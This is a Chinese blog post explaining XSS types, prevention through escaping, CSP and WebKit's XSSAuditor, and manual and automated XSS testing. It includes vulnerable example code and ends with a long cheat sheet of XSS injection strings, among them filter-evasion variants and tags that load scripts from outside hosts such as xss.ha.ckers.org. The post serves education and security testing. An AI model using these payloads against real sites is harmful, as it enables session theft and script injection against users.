zoukankan      html  css  js  c++  java
  • XSS分析及预防

    XSS(Cross Site Scripting),又称跨站脚本,XSS的重点不在于跨站点,而是在于脚本的执行。在WEB前端应用日益发展的今天,XSS漏洞尤其容易被开发人员忽视,最终可能造成对个人信息的泄漏。如今,仍然没有统一的方式来检测XSS漏洞,但是对于前端开发人员而言,仍是可以在某些细微处避免的,因此本文会结合笔者的学习和经验总结解决和避免的一些方案,并简要从webkit内核分析浏览器内核对于XSS避免所做的努力,了解底层基础设施对预防XSS所做的贡献。

    XSS的种类和特点

    XSS的目标是让其他站点的js文件运行在目标站点的上,这主要发生在页面渲染阶段。在该阶段发生了某些非预期的脚本行为,该脚本可能来自用户的输入,也可能来自域外的其他js文件,不一而足。XSS的发生起源来自于用户输入,因此XSS根据用户输入数据以何种形式、何时触发XSS、是否有后端服务器的参与划分为三种类型,分别是反射型XSS、持久型XSS和DOM XSS。

    反射型XSS

    反射型XSS,顾名思义在于“反射”这个一来一回的过程。反射型XSS的触发有后端的参与,而之所以触发XSS是因为后端解析用户在前端输入的带有XSS性质的脚本或者脚本的data URI编码,后端解析用户输入处理后返回给前端,由浏览器解析这段XSS脚本,触发XSS漏洞。因此如果要避免反射性XSS,则必须需要后端的协调,在后端解析前端的数据时首先做相关的字串检测和转义处理;同时前端同样也许针对用户的数据做excape转义,保证数据源的可靠性。

    e.x.
    localhost/test.php

    <?php echo $_GET['name'] ?>

    如果通过 localhost/test.php?name=alert(document.cookie) 访问页面,那么经过后端服务器的处理,就会造成反射性XSS的发生。

    同理,通过传入data uri编码的字符串也会导致XSS,如 localhost/test.php?name=data:text/html;charset=utf-8;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpPC9zY3JpcHQ+ 会导致同样的问题。该段编码的字串解码后是“alert(document.cookie)”。

    持久型XSS

    持久型XSS仍然需要服务端的参与,它与反射型XSS的区别在于XSS代码是否持久化(硬盘,数据库)。反射型XSS过程中后端服务器仅仅将XSS代码保存在内存中,并未持久化,因此每次触发反射性XSS都需要由用户输入相关的XSS代码;而持久型XSS则仅仅首次输入相关的XSS代码,保存在数据库中,当下次从数据库中获取该数据时在前端未加字串检测和excape转码时,会造成XSS,而且由于该漏洞的隐蔽性和持久型的特点,在多人开发的大型应用和跨应用间的数据获取时造成的大范围的XSS漏洞,危害尤其大。这就需要开发人员培养良好的WEB前端安全意识,不仅仅不能相信用户的输入,也不能完全相信保存在数据库中的数据(即后端开发人员忽视的数据安全检测)。针对持久型XSS没有好的解决方式,只能由开发人员保证。当然规则是由开发者制定,如果忽略用户体验的话,可以制定一套严谨的输入规则,对相关关键词和输入类型(如data URI检测,禁止输入)的检测和禁止,尽可能规避用户发现XSS漏洞的可能性,从源头处理。

    DOM XSS

    DOM XSS完全在前端浏览器触发,无需服务端的参与,因此这是前端开发工程师的“地盘”,理应获得我们的关注。

    e.x.
    localhost/test.html

    <script>
    eval('alert(location.hash.slice("1"))');
    </script>

    如果访问localhost/test.html#document.cookie ,那么就会触发最简单的危害非常大的DOM XSS。它完全没有服务端的参与,仅仅由用户的输入和不安全的脚本执行造成,当然在本例中仅仅是最简单的情况,如果用户输入字符串‘’或者text/html格式的data URI,则更难检测,也危害更大,黑客操作起来更为容易。

    因此预防DOM XSS,需要前端开发人员警惕用户所有的输入数据,做到数据的excape转义,同时尽可能少的直接输出HTML的内容;不用eval、new Function、setTimeout等较为hack的方式解析外站数据和执行js脚本;禁止内联事件处理函数;如果在考虑安全性的前提下需要获取外站脚本的执行结果,可以采用前端沙盒(建立空的iframe执行脚本,该iframe无法操作当前文档对象模型)、worker线程的方式完成,保证DOM的安全。

    XSS预防

    XSS漏洞难以检测,但是为了WEB安全仍需要尽力避免,在本节将会针对三种类型XSS漏洞提出对应解决方法,并从其他角度提供更具启发性的意见。

    针对反射型XSS,在对应的小节中也提到过,需要服务端和前端共同预防,针对用户输入的数据做解析和转义,对于前端开发而言,则是善于使用escape,针对data URI内容做正则判断,禁止用户输入非显示信息,如MIME类型为“text/html,text/plain”类型的内容。
    对于存储型XSS,处理方式仍然类同于反射性XSS。
    对于DOM XSS,则需要慎之又慎。由于造成XSS的原因在于用户的输入,因此在前端,需要特别注意以下的用户输入源:


    document.URL,
    location.hash,
    location.research,
    document.referrer(此处应尤为注意,referrer属性虽然可用于避免CSRF,但可触发XSS攻击),
    XHR返回值(跨域返回值),
    form表单及各种input框

    针对以上输入源,需要做相对于的检测和转义。在以上输入源中获取数据后,可能会有各种DOM操作或纯粹的js计算,这些操作则是真正触发XSS的罪魁祸首:


    1,直接输出HTML内容
    document.body.innerHTML = ...
    document.body.outterHTML = ...
    document.write()
    2,HTML标签内联脚本


    3,直接执行脚本
    eval
    new Function(){}
    setTimeout()
    window.execScript()
    4,打开新页面触发XSS(包括反射型XSS和持久型XSS)
    window.open()
    location.href = ...
    location.hash = ...

    在操作DOM时,需要尤其注意上述操作,针对可能造成的XSS需要进行字串转义。当然,有些操作是完全可以避免的:对于innerHTML的拼接操作,需要摒弃jQuery式的链式操作而使用前端模版如artTemplate,也可选择使用由后端渲染好的可靠的数据,这样既保证性能也确保安全;对于HTML标签内嵌js,则需要完全避免,这是一种容错率很低的实现;直接执行脚本和解析数据,则需避免eval和new Funciton等操作,改为JSON.parse、iframe沙盒和webWorker执行;而针对打开新页面触发的XSS则需要开发人员自行把控。

    另外的尝试

    上文提到的仅仅是对应的XSS避免方案,但是如果将目光放置在全局,站在浏览器的角度上,则会变的更为柳暗花明。现阶段,大多数浏览器都支持多种安全策略,如沙盒机制,跨域机制,跨文档消息和CSP。在这里,我们关注CSP(Content Security Policy),又称内容安全协议,CSP通过服务端响应的HTTP头部来制定网页相关资源的加载域,这些资源限定于js文件、css文件、image、iframe、字体和其他对象(如object、applet)。

    CSP通过HTTP头部由服务端制定,头部类型由于历史原因总共由三种,这三种仅仅是兼容性的差别,针对chrome浏览器,我们仅需关注Content-Security-Policy头部。CSP头部的定义规则如下:
    Content-Security-Policy: 名 值; 名 值; 名 值;

    具体的指令名如下图:


    指令值的规范如下图:

    因此,如果我们要避免XSS攻击,可以限定脚本的来源域,如:
    Content-Security-Policy: default-src 'self' ajax.googleapis.com;
    这样,非本域和ajax.googleapis.com域下的其他脚本不会被加载,避免了XSS。

    在这里需要强调一点的是,默认CSP会禁止script代码块的执行;禁止内联事件处理函数;禁止内联样式;禁止eval和new Function。对于内联script代码块和内联样式,可通过CSP的header设置,如Content-Security-Policy: default-src 'self'; script-src 'unsafe-inline';。

    CSP有一个指令需要注意,即report-uri,它会将错误信息主动发送至改cgi(sevlet),用于管理员的统一管控。report-uri属性将会在下文中涉及到。

    webkit中的XSS组件

    XSS攻击主要发生在页面的渲染时,当浏览器的渲染引擎获取到该页面并开始解析时,是可以在该阶段进行安全校验的,具体的时间节点则是在词法分析后针对每个token做过滤。

    在webkit中,由HTMLDocumentParser解析得到token后,使用XSSAuditor进行过滤,具体则是在filterToken中执行,不仅仅是针对token的名称,其属性也是监测重点。在webkit中采用黑名单机制,针对“,,,”做重点排查,当发现相关隐患时,生成相关信息XSSInfo,由XSSAuditorDelegate类发送给对应的cgi,该cgi的地址正是CSP中的指令值report-uri,当然也可以手动制定该值。

    默认,XSSAuditor是启用的,但是XSSAuditor在发现XSS行为时却有多种,这些行为可以配置,这就涉及到HTTP头部X-XSS-Protection。该头部并不是W3C和IETF的规范,而是非标准实现,通过对该头部的赋值来定制XSSAuditor的相关行为。

    默认情况,XSSAuditor处于重写模式(js代码处在非执行状态),即X-XSS-Protection:1;如果要禁用XSSAuditor,可以X-XSS-Protection:0;当设置为X-XSS-Protection:1;mode=block,则会在XSSAuditor作用时禁止网页显示,呈现给用户的则是空白页;若设置为X-XSS-Protection:1;report=... ,则会将相关统计信息发送给CSP中定义的report-uri。XSSAuditor无法完全避免XSS,但毕竟在浏览器层面提供了一层检查机制,从HTML tag上保证其可靠性。

    总结

    XSS漏洞难以发现,但是作为开发人员需要于细节处避免制造XSS漏洞,而对于CSP规范和webkit的XSSAuditor机制的使用,我们不应抱着依靠它们的想法来解决XSS,毕竟不是所有的页面都可以容忍CSP的严格,XSSAuditor机制也仅仅针对chrome而言,并且存在多种bypass绕过检查,如通过各种HTML实体编码、url编码和js编码。因此,我们仍需以人为本,规范开发习惯,提高WEB前端安全意识。

    XSS 是如何发生的呢

    假如有下面一个textbox

    <input type="text" name="address1" value="value1from">

    value1from是来自用户的输入,如果用户不是输入value1from,而是输入 "/><script>alert(document.cookie)</script><!- 那么就会变成

    <input type="text" name="address1" value=""/><script>alert(document.cookie)</script><!- ">

    嵌入的JavaScript代码将会被执行

    或者用户输入的是  "οnfοcus="alert(document.cookie)      那么就会变成 

    <input type="text" name="address1" value="" onfocus="alert(document.cookie)">

     事件被触发的时候嵌入的JavaScript代码将会被执行

     攻击的威力,取决于用户输入了什么样的脚本

    当然用户提交的数据还可以通过QueryString(放在URL中)和Cookie发送给服务器. 例如下图

    HTML Encode

    XSS之所以会发生, 是因为用户输入的数据变成了代码。 所以我们需要对用户输入的数据进行HTML Encode处理。 将其中的"中括号", “单引号”,“引号” 之类的特殊字符进行编码。

    在C#中已经提供了现成的方法,只要调用HttpUtility.HtmlEncode("string <scritp>") 就可以了。  (需要引用System.Web程序集)

    Fiddler中也提供了很方便的工具, 点击Toolbar上的"TextWizard" 按钮

    如何测试XSS漏洞

    方法一:  查看代码,查找关键的变量,   客户端将数据传送给Web 服务端一般通过三种方式 Querystring, Form表单,以及cookie.  例如在ASP的程序中,通过Request对象获取客户端的变量

    1.  
      <%
    2.  
      strUserCode = Request.QueryString(“code”);
    3.  
      strUser = Request.Form(“USER”);
    4.  
      strID = Request.Cookies(“ID”);
    5.  
      %>

    假如变量没有经过htmlEncode处理, 那么这个变量就存在一个XSS漏洞

     方法二: 准备测试脚本

    1.  
      "/><script>alert(document.cookie)</script><!--
    2.  
      <script>alert(document.cookie)</script><!--
    3.  
      "onclick="alert(document.cookie)

     在网页中的Textbox或者其他能输入数据的地方,输入这些测试脚本, 看能不能弹出对话框,能弹出的话说明存在XSS漏洞

     在URL中查看有那些变量通过URL把值传给Web服务器, 把这些变量的值退换成我们的测试的脚本。  然后看我们的脚本是否能执行

    方法三:  自动化测试XSS漏洞
    现在已经有很多XSS扫描工具了。 实现XSS自动化测试非常简单,只需要用HttpWebRequest类。 把包含xss 测试脚本。发送给Web服务器。 然后查看HttpWebResponse中,我们的XSS测试脚本是否已经注入进去了。

     

    HTML Encode 和URL Encode的区别

    关于URL 编码是为了符合url的规范。因为在标准的url规范中中文和很多的字符是不允许出现在url中的。

    例如在baidu中搜索"测试汉字"。 URL会变成

    http://www.baidu.com/s?wd=%B2%E2%CA%D4%BA%BA%D7%D6&rsv_bp=0&rsv_spt=3&inputT=7477

    所谓URL编码就是: 把所有非字母数字字符都将被替换成百分号(%)后跟两位十六进制数,空格则编码为加号(+

    在C#中已经提供了现成的方法,只要调用HttpUtility.UrlEncode("string <scritp>") 就可以了。  (需要引用System.Web程序集)

    Fiddler中也提供了很方便的工具, 点击Toolbar上的"TextWizard" 按钮

    浏览器中的XSS过滤器

    为了防止发生XSS, 很多浏览器厂商都在浏览器中加入安全机制来过滤XSS。 例如IE8,IE9,Firefox, Chrome. 都有针对XSS的安全机制。 浏览器会阻止XSS。 例如下图

    如果需要做测试, 最好使用IE7。

    XSS注入常用语句

      • <script>alert('hello,gaga!');</script> //经典语句,哈哈!
      • >"'><img src="javascript.:alert('XSS')">
      • >"'><script>alert('XSS')</script>
      • <table background='javascript.:alert(([code])'></table>
      • <object type=text/html data='javascript.:alert(([code]);'></object>
      • "+alert('XSS')+"
      • '><script>alert(document.cookie)</script>
      • ='><script>alert(document.cookie)</script>
      • <script>alert(document.cookie)</script>
      • <script>alert(vulnerable)</script>
      • <s&#99;ript>alert('XSS')</script>
      • <img src="javas&#99;ript:alert('XSS')">
      • %0a%0a<script>alert("Vulnerable")</script>.jsp
      • %3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
      • %3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
      • %3cscript%3ealert(%22xss%22)%3c/script%3e/index.html
      • <script>alert('Vulnerable')</script>
      • a.jsp/<script>alert('Vulnerable')</script>
      • "><script>alert('Vulnerable')</script>
      • <IMG SRC="javascript.:alert('XSS');">
      • <IMG src="/javascript.:alert"('XSS')>
      • <IMG src="/JaVaScRiPt.:alert"('XSS')>
      • <IMG src="/JaVaScRiPt.:alert"(&quot;XSS&quot;)>
      • <IMG SRC="jav&#x09;ascript.:alert('XSS');">
      • <IMG SRC="jav&#x0A;ascript.:alert('XSS');">
      • <IMG SRC="jav&#x0D;ascript.:alert('XSS');">
      • "<IMG src="/java"script.:alert("XSS")>";'>out
      • <IMG SRC=" javascript.:alert('XSS');">
      • <SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
      • <BODY BACKGROUND="javascript.:alert('XSS')">
      • <BODY ONLOAD=alert('XSS')>
      • <IMG DYNSRC="javascript.:alert('XSS')">
      • <IMG LOWSRC="javascript.:alert('XSS')">
      • <BGSOUND SRC="javascript.:alert('XSS');">
      • <br size="&{alert('XSS')}">
      • <LAYER SRC="http://xss.ha.ckers.org/a.js"></layer>
      • <LINK REL="stylesheet"HREF="javascript.:alert('XSS');">
      • <IMG SRC='vbscript.:msgbox("XSS")'>
      • <META. HTTP-EQUIV="refresh"CONTENT="0;url=javascript.:alert('XSS');">
      • <IFRAME. src="/javascript.:alert"('XSS')></IFRAME>
      • <FRAMESET><FRAME. src="/javascript.:alert"('XSS')></FRAME></FRAMESET>
      • <TABLE BACKGROUND="javascript.:alert('XSS')">
      • <DIV STYLE="background-image: url(javascript.:alert('XSS'))">
      • <DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html&#39;);">
      • <DIV STYLE=" expression(alert('XSS'));">
      • <STYLE>@import'javasc ipt:alert("XSS")';</STYLE>
      • <IMG STYLE='xss:expression(alert("XSS"))'>
      • <STYLE. TYPE="text/javascript">alert('XSS');</STYLE>
      • <STYLE. TYPE="text/css">.XSS{background-image:url("javascript.:alert('XSS')");}</STYLE><A class="XSS"></A>
      • <STYLE. type="text/css">BODY{background:url("javascript.:alert('XSS')")}</STYLE>
      • <BASE HREF="javascript.:alert('XSS');//">
      • getURL("javascript.:alert('XSS')")
      • a="get";b="URL";c="javascript.:";d="alert('XSS');";eval(a+b+c+d);
      • <XML SRC="javascript.:alert('XSS');">
      • "> <BODY NLOAD="a();"><SCRIPT>function a(){alert('XSS');}</SCRIPT><"
      • <SCRIPT. SRC="http://xss.ha.ckers.org/xss.jpg"></SCRIPT>
      • <IMG SRC="javascript.:alert('XSS')"
      • <SCRIPT. a=">"SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
      • <SCRIPT.=">"SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
      • <SCRIPT. a=">"''SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
      • <SCRIPT."a='>'"SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
      • <SCRIPT>document.write("<SCRI");</SCRIPT>PTSRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
      • <A HREF=http://www.gohttp://www.google.com/ogle.com/>link</A>
  • 相关阅读:
    time 模块学习
    day 14 自定义模块,常用模块 time .datetime ,time 模块
    day 13 课后作业
    day 12 课后作业
    day 11课后作业
    树状数组最值
    hdu 1059 Dividing bitset 多重背包
    XVII Open Cup named after E.V. Pankratiev. XXI Ural Championship
    最长公共子序列板/滚动 N^2
    Uva 10635
  • 原文地址:https://www.cnblogs.com/tester-l/p/6036760.html
Copyright © 2011-2022 走看看